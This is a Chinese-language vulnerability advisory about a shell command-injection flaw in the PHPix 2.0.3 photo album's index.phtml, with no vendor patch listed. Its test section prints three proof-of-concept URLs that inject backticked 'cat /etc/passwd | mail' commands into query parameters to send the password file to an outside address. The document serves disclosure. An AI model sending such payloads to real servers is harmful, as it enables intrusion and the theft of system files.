发布日期：2004-01-20
更新日期：2004-02-03

受影响系统：

PHPix PHPix 2.0.3

描述：

---

BUGTRAQ  ID: 9458

PHPix是用PHP开发的基于Web的相册程序。

PHPix不充分处理外部提供的恶意数据，远程攻击者可以利用这个漏洞以WEB进程权限在系统上执行任意命令。

问题是PHPix中的index.phtml对用户提交的URI参数缺少充分过滤，提交包含SHELL元字符的数据，可导致以WEB进程权限在系统上执行任意命令。

<*来源：Max Stepanov （dlgdlg@bezeqint.net）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Max Stepanov （dlgdlg@bezeqint.net）提供了如下测试方法：

20someone@somewhere.com`&pic=A-10.jpg&dispsize=640&start=0" target="_blank">http://www.example.com/phpix/index.phtml?mode=view&album=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&pic=A-10.jpg&dispsize=640&start=0

20someone@somewhere.com`&start=0" target="_blank">http://www.example.com/phpix/index.phtml?mode=view&album=Sample+Album&pic=A-10.jpg&dispsize=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&start=0

20someone@somewhere.com`&dispsize=640&start=0" target="_blank">http://www.example.com/phpix/index.phtml?mode=view&album=Sample+Album&pic=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&dispsize=640&start=0

建议：

---

厂商补丁：

PHPix
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://phpix.org/

浏览次数：3762
严重程度：0（网友投票）